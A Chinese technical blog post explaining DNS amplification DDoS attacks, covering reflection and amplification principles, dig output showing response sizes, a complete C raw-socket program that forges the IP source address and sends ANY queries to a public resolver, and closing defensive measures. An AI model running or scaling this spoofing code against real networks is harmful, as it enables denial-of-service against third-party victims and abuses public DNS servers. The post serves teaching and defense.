DNS Amplification Attack

摘要

DNS Amplification Attack是一种基于反射的DDoS攻击,攻击者借助DNS服务器,产生更大的流量让目标服务器或网络瘫痪,从而达到拒绝服务的效果。

DDoS 的分类

根据攻击目标和所属的层次,可以将 DDoS 攻击大体分为三类:

  1. 针对网络带宽资源的DDoS攻击,如ICMP Flood、UPD Flood、DNS Amplification Attack。
  2. 针对连接资源的DDoS攻击,如Slow Attack。
  3. 针对计算资源的攻击DDoS,如SYN Flood。

其实这样分类并不一定准确,如ICMP Flood、UPD Flood也可能耗尽计算资源,SYN Flood也可能耗尽带宽资源。针对网络带宽的DDoS攻击是最古老而常见的一种DDoS攻击方式,DNS Amplification Attack就是其中一种。无论是服务器的网络接口带宽,还是路由器、交换机等互联网基础设施的数据包处理能力,都是存在着事实上的上限的。当到达或通过的网络数据包数量超过了这个上限时,就会出现网络拥堵、响应缓慢的情况。针对网络带宽资源的DDoS攻击就是根据该原理,利用广泛分布的僵尸主机发送大量的网络数据包,占满被攻击目标的全部带宽,从而使正常的请求无法得到及时有效的响应,造成拒绝服务。

DDoS 反射攻击

攻击者可以使用 Ping Flood、UDP Flood等方式直接对被攻击目标展开针对网络带宽资源的DDoS攻击,但这种方式不仅低效,还很容易被查到攻击的源头。虽然攻击者可以使用伪造源IP地址的方式进行隐藏,但更好的方式是使用DDoS反射攻击技术。DDoS反射攻击是指利用路由器、服务器等设施对请求产生应答,从而反射攻击流量并隐藏攻击来源的一种DDoS技术。

在进行DDoS反射攻击时,攻击者通过控制端控制大量僵尸主机发送大量的数据包。这些数据包的特别之处在于,其目的IP地址指向作为反射器的服务器、路由器等设施,而源IP地址则被伪造成被攻击目标的IP地址。反射器在收到数据包时,会认为该数据包是由被攻击目标所发来的请求,因此会将响应数据发送给被攻击目标。当大量的响应数据包涌向攻击目标时,就会造成拒绝服务攻击。发动DDoS反射攻击需要在互联网上找到大量的反射器,对于某些种类的反射攻击,这并不难实现。例如,对于ACK反射攻击,只需要找到互联网上开放TCP端口的服务器即可,而这种服务器在互联网上的存在是非常广泛的。相比于直接伪造源地址的DDoS攻击,DDoS反射攻击由于增加了一层反射步骤,更加难以追溯攻击来源。

DDoS反射攻击原理图

image

DDoS 放大攻击

DDoS放大攻击是DDoS反射攻击的一种特殊形式。简单的说,当使用的反射器对网络流量具有放大作用时,DDoS反射攻击就变成了DDoS放大攻击。不同之处在于反射器(放大器)所提供的网络服务需要满足一定条件。

  1. 响应数据量需要大于请求数据量。
响应数据量与请求数据量的比值越大,放大器的放大倍数也就越大,进行DDoS放大攻击的效果也就越明显。
  1. 使用无需认证或握手的协议。
DDoS放大攻击需要将请求数据的源IP地址伪造成被攻击目标的IP地址,如果使用的协议需要进行认证或者握手,则该认证或握手过程没有办法完成,也就不能进行下一步的攻击。因此,绝大多数的DDoS放大攻击都是用基于UDP协议的网络服务进行攻击。
  1. 使用广泛部署的网络服务。
如果存在某些网络服务,不需要进行认证并且放大效果非常好,但是在互联网上部署的数量很少,那么利用该网络服务进行放大也不能打出很大的流量,达不到DDoS攻击的效果,这种网络服务也就不具备作为DDoS放大攻击放大器的价值。比如NTP协议,只能作为辅助手段增大攻击流量。

DNS Amplification Attack

DNS Amplification Attack是一种针对网络带宽资源的DDoS放大(反射)攻击, 攻击者利用普通的DNS查询请求就能够将攻击流量放大2到10倍。

// 在这里,发出去的数据帧大小是66字节,而收到的数据帧却有246字节
dig any qq.com @114.114.114.114

75	4.816483	10.0.47.204	114.114.114.114	DNS	66	Standard query 0x5ce7 ANY qq.com
76	4.851260	114.114.114.114	10.0.47.204	DNS	246	Standard query response 0x5ce7 ANY qq.com A 58.60.9.21 A 59.37.96.63 A 180.163.26.39 MX 30 mx1.qq.com MX 10 mx3.qq.com MX 20 mx2.qq.com NS ns2.qq.com NS ns1.qq.com NS ns4.qq.com NS ns3.qq.com

在没有EDNS0以前,对DNS查询的响应数据包被限制在512字节以内。当需要应答的数据包超过512字节时,根据DNS服务实现的不同,可能会丢弃超过512字节的部分,也可能会使用TCP协议建立连接并重新发送。无论是哪种方式,都不利于进行DNS放大攻击。

// 被丢弃了
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @114.114.114.114

; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @114.114.114.114
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2257
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;txt1.euphie.me.                        IN      ANY

;; Query time: 36 msec
;; SERVER: 114.114.114.114#53(114.114.114.114)
;; WHEN: Mon Nov  5 21:54:10 2018
;; MSG SIZE  rcvd: 32
// 被截断,要求TCP重连
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @8.8.4.4
;; Truncated, retrying in TCP mode.

; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @8.8.4.4
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64756
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;txt1.euphie.me.                        IN      ANY

;; ANSWER SECTION:
txt1.euphie.me.         599     IN      TXT     "DyfNY2yWbhpLFeuTK0JhKEiPSvw7QBbj2VblZCQ5foAVmm6S7SaEwFwHS3n8wuSsu50xJbf2Mah6swATF1coms2lJ9A8gINA3DBuEhyFGhUITOiU1amJI834gu1rynGxIXTstr8PvbTVzfooCKAKWBZMSHdz0X7dZECIw0RZ9VVaWH8aXFJ5bxQqIKgee5ihhE9Nj8gHElIGRwXZlVCMeiEY5amth3sus8cTRe1LwN3V8YxjM0kQAiN8uJVxd9X" "DllKB71HG0GsTImYPpHLgIzPiqcKphuM2ZjVg3nIwyhy1ypuxxX8Z3sraTq4oA5doHzJtqjAlLPRfA4NdmkBP49NoDt0L18XYX9oE1Z7fDW84TyTaBNUIcNBge6R9kFxTISf8ZDQhZEj5Nb16HbKvz3kMBPP8uFHccCMKrBXTCGm9Gji8n6cjjNraRLMTYF2rOvdAOOlUOnarB81DtKDx1pCE2CVXls1XUm5rVpFSOqG7W4sJ4CleViaNBZFFA5" "Ww"
txt1.euphie.me.         599     IN      TXT     "yrD6pC2Dvka22a0pp87ClszWJjO6es9HykhlkWhDs8iAVSX69bdSrL22DFhE3USjl6LGnFA1DXBXaIjRuLH0h7JjtjJKIjQHS0FkGGa3DXrFmUhzmiFlbJGQpDc13pi3pfH7qmjd9ICojWqbywSWDSWRZRzK6fG2TsKMTtWRNUabcD8Nn9oCh0YyLuiz8n5DmKRDpKjRFt31XmmCtq3LZNVBLyKUOmAred3fmf89s0I5UEg6EJSNFTu2GgH63eD" "d3ShkQuinfDrqeZQkLBu27NWsWGz0zr4cubNnIIhmmyJXlBLa0j4gS7qi5jHsjd9K2g96KsHm675tkE76cb6XThfw25MVo9WwdjcVjGW9BzVLgF91zs99qZ6IauRPnsMKqIqTmuBM9D4VPG8QimzfcSb3NYr5pvoypY0QYHuSLfVQl5kWiSGHF67SiJcYIxKdPxIt0Q32BPzgxoCGi9YrSPmhwYPPUkZ9KYjq5nhbnYzLOgpO2vyLRYjyQo0yUK" "3X"
txt1.euphie.me.         599     IN      TXT     "AQDCuSXg57asOQ9p6mQhSiQNqgyiQJjen5VTtoa4RKUW7Os7ULhDt6CyUYfkPkBbQiCT5Q41OWgqoL25Lhx4gx9wojnEdHPox2dHR3JLET26CMryOKN6YxmCdXVSbLqAa4mNnMbeSAmOIhnEFimlLJl69k7g8jzjfv80qTVrmmR8xbI2hok1kcXhi7GM8Vn7hDiaoD31kRf6pe5ySdAx14sp6s0iGHIKxoLYjR62hAN2P9ojyRnIMTT2t05HIJS" "bQsUGWEY2kHVbulFI0ZxVHgmvfuVGjXZIAO01a7em6MhOHBVvF27gDCi8xXXFnXezE7zwr3CceDB2YFQ9qRWBQEj1Gg2oFIP7FnqWoYD1IOCZYBMpCOCKGJ86wdNLKGtGqQV5cJDZazQSLMwEjdKxtQjWzfcNb44peYWnl8GkGBfCzRRRGzAZ2CekrY7A3N4IKv8LTCkuw96QwPjdFwXqxw4Yge3utgwlrJ3yMQ0YnrbeRn5PyIJR7ppRcBtIBM" "vB"

;; Query time: 84 msec
;; SERVER: 8.8.4.4#53(8.8.4.4)
;; WHEN: Mon Nov  5 21:52:24 2018
;; MSG SIZE  rcvd: 1613

在EDNS0中扩展了DNS数据包的结构,增加了OPT RR字段。在OPT RR字段中,包含了客户端能够处理的最大UDP报文大小的信息。服务端在响应DNS请求时,解析并记录下客户端能够处理的最大UDP报文的大小,并根据该大小生成响应的报文。

DNS Amplification Attack示意图

image

实现

以下是DNS Amplification Attack在Mac OS下的C语言简单实现。主要用到了原始套接字(SOCK_RAW),SOCK_RAW是一种不同于SOCK_STREAM、SOCK_DGRAM的套接字,它实现于系统核心。利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据。若设置IP_HDRINCL选项,SOCK_RAW可以操作IP头数据(也就是用户需用填充IP头及其以上的payload)。

//
//  main.c
//  dns-flood
//
//  Created by Euphie  on 2018/10/30.
//  Copyright © 2018年 Euphie . All rights reserved.
//

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <unistd.h>

#define DNS_NAME "qq.com"
#define SOURCE_IP "10.0.8.97"
#define DNS_SERVER "114.114.114.114"

// DNS头部
typedef struct
{
    unsigned short id;
    unsigned short flags;
    unsigned short qcount;
    unsigned short ans;
    unsigned short auth;
    unsigned short add;
} DNS_HEADER;

// DNS查询,其实一个QUESTION前面还包含了qname
typedef struct
{
    unsigned short qtype;
    unsigned short qclass;
} DNS_QUESTION;

// IP伪头,用来计算校验和
typedef struct
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t udp_length;
} PSEUDO_HEADER;

// 创建一个DNS头部
void create_dns_header(DNS_HEADER* dns)
{
    dns->id = (unsigned short) htons(getpid());
    dns->flags = htons(0x0100);
    dns->qcount = htons(1);
    dns->ans = 0;
    dns->auth = 0;
    dns->add = 0;
}

// www.google.com会变成3www6google3com
void format_dns_name(char* format, char* host)
{
    int lock = 0 , i;
    strcat((char*)host,".");
    
    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
        if(host[i]=='.')
        {
            *format++ = i-lock;
            for(;lock<i;lock++)
            {
                *format++=host[lock];
            }
            lock++;
        }
    }
    *format++='\0';
}

// 计算校验和
unsigned short calculate_checksum(unsigned short *ptr,int nbytes)
{
    register long sum;
    unsigned short oddbyte;
    register short answer;
    
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
    
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
    
    return(answer);
}

//4.1.1. Header section format
//
//The header contains the following fields:
//
//1  1  1  1  1  1
//0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                      ID                       |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                    QDCOUNT                    |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                    ANCOUNT                    |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                    NSCOUNT                    |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                    ARCOUNT                    |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

//4.1.2. Question section format
//
//The question section is used to carry the "question" in most queries,
//i.e., the parameters that define what is being asked.  The section
//contains QDCOUNT (usually 1) entries, each of the following format:
//
//1  1  1  1  1  1
//0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                                               |
///                     QNAME                     /
///                                               /
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                     QTYPE                     |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|                     QCLASS                    |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
void create_dns_data(char* dns_data, unsigned long* dns_data_len) {
    // 设置DNS头部
    DNS_HEADER* dns_header; // DNS头部
    dns_header = (DNS_HEADER*)dns_data;
    create_dns_header(dns_header);
    
    // 设置DNS查询,一个查询包含qname、qtype和qclass
    char* qname; // qname
    char dns_name[100] = DNS_NAME;
    qname =(char*)&dns_data[sizeof(DNS_HEADER)];
    format_dns_name(qname, dns_name);
    DNS_QUESTION* dns_question; // qtype和qclass
    dns_question =(DNS_QUESTION*)&dns_data[sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1)];
    dns_question->qtype = htons(255);
    dns_question->qclass = htons(1);
    
    *dns_data_len = sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(DNS_QUESTION);
}

// 通过UDP发送DNS查询
void query_with_udp_packet() {
    // 创建DNS报文
    char dns_data[1000];
    unsigned long dns_data_len;
    create_dns_data(dns_data, &dns_data_len);
    
    // 准备查询
    int fd;
    struct sockaddr_in dest;
    fd = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP);
    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr(DNS_SERVER); //dns servers
    
    if( sendto(fd, (char*)dns_data, dns_data_len , 0 ,(struct sockaddr*)&dest,sizeof(dest)) < 0)
    {
        perror("sendto failed\n");
    }
}

// 通过原始报文发送DNS查询
void query_with_raw_packet() {
    // 数据报文的结构:IP头(20字节)+UDP头(8字节)+DNS报文
    char datagram[4096];

    // 定义一个IP头指针指向报文
    struct ip *ip_header = (struct ip*) datagram;
    
    // 创建DNS报文
    char dns_data[1000];
    unsigned long dns_data_len;
    create_dns_data(dns_data, &dns_data_len);
    memcpy(datagram + sizeof (struct ip) + sizeof(struct udphdr), dns_data, dns_data_len);
    
    // 定义一个UDP头指针指向UDP报文位置,并设置UDP头
    struct udphdr *udp_header = (struct udphdr *) (datagram + sizeof (struct ip));
    udp_header->uh_dport = htons(53);
    udp_header->uh_sport = htons(9999);
    udp_header->uh_ulen = htons(sizeof(struct udphdr) + dns_data_len);
    udp_header->uh_sum = 0;
    
    // 目标地址结构
    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr(DNS_SERVER);
    
    // 开始设置IP头
    char source_ip[32];
    strcpy(source_ip, SOURCE_IP);
    ip_header->ip_hl = 5;
    ip_header->ip_v = IPVERSION;
    ip_header->ip_tos = IPTOS_PREC_ROUTINE;
    ip_header->ip_len = sizeof (struct ip) + sizeof(struct udphdr) + dns_data_len;
    ip_header->ip_id = htons(getpid());
    ip_header->ip_off = 0;
    ip_header->ip_ttl = MAXTTL;
    ip_header->ip_p = IPPROTO_UDP;
    ip_header->ip_src.s_addr = inet_addr (source_ip);
    ip_header->ip_dst.s_addr = dest.sin_addr.s_addr;
    ip_header->ip_sum = calculate_checksum((unsigned short *) datagram, ip_header->ip_len);
    
    // 计算UDP校验和
    PSEUDO_HEADER psd_header;
    psd_header.source_address = ip_header->ip_src.s_addr;
    psd_header.dest_address =  ip_header->ip_dst.s_addr;
    psd_header.placeholder = 0;
    psd_header.protocol = IPPROTO_UDP;
    psd_header.udp_length = htons(sizeof(struct udphdr) + dns_data_len);
    
    int psize = (int)(sizeof(PSEUDO_HEADER) + sizeof(struct udphdr) + dns_data_len);
    char* psd_data;
    psd_data = malloc(psize);
    memcpy(psd_data , (char*) &psd_header , sizeof ( PSEUDO_HEADER));
    memcpy(psd_data + sizeof( PSEUDO_HEADER) , udp_header , sizeof(struct udphdr) + dns_data_len);
    udp_header->uh_sum = calculate_checksum((unsigned short*) psd_data , psize);
    
    int s;
    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
       perror("socket failed.\n");
    }
    
    const int on = 1;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
        perror("setsockopt failed.\n");
    }
    
    if (sendto (s, datagram, ip_header->ip_len ,  0, (struct sockaddr *) &dest, sizeof (dest)) < 0)
    {
        perror("sendto failed.\n");
    }
}

int main() {
    // query_with_udp_packet();
    int i;
    for(i=0; i< 10; i++) {
        query_with_raw_packet();
        sleep(1);
    }

    printf("done.\n");
}

防护

  • 对开放DNS服务的设备进行防护
  1. 如非必要,则应该关闭这些服务。
  2. 尽量只响应内部请求。
  3. 丢弃超大的响应数据包。
  • 对伪造源IP地址的数据包进行过滤
攻击者能够发送伪造源IP地址的数据包,这是针对网络带宽资源的DDoS攻击能够产生的根本原因。通过伪造源IP地址,不仅能够发动反射DDoS反射攻击和DDoS放大攻击,还能够有效的隐藏攻击来源,降低攻击者面临的风险。能够对伪造源IP地址的数据包进行过滤,使其不能进入到互联网中,就能够从根本上解决针对网络带宽资源的DDoS攻击问题。
  • 使用Anycast技术对攻击流量进行稀释和清洗
使用Anycast技术进行防护是一种可行的方案。通过使用Anycast技术,可以有效的将攻击流量有效分散到不同地点的清洗中心进行清洗。在正常环境下,这种方式能够保证用户的请求数据被路由到最近的清洗中心,当发生DDoS攻击时,这种方式能够将攻击流量有效的稀释到防护方的网络设施中。此外,每一个清洗中心都声明了相同的IP地址,攻击流量不会向单一位置聚集,攻击情况从多对一转变为多对多,网络中就不会出现单点瓶颈。在攻击流量被稀释之后,清洗中心对流量进行常规的清洗和阻断就变得相对容易了。
posted @ 2024-04-04 21:17  Euphie  阅读(17)  评论(0编辑  收藏  举报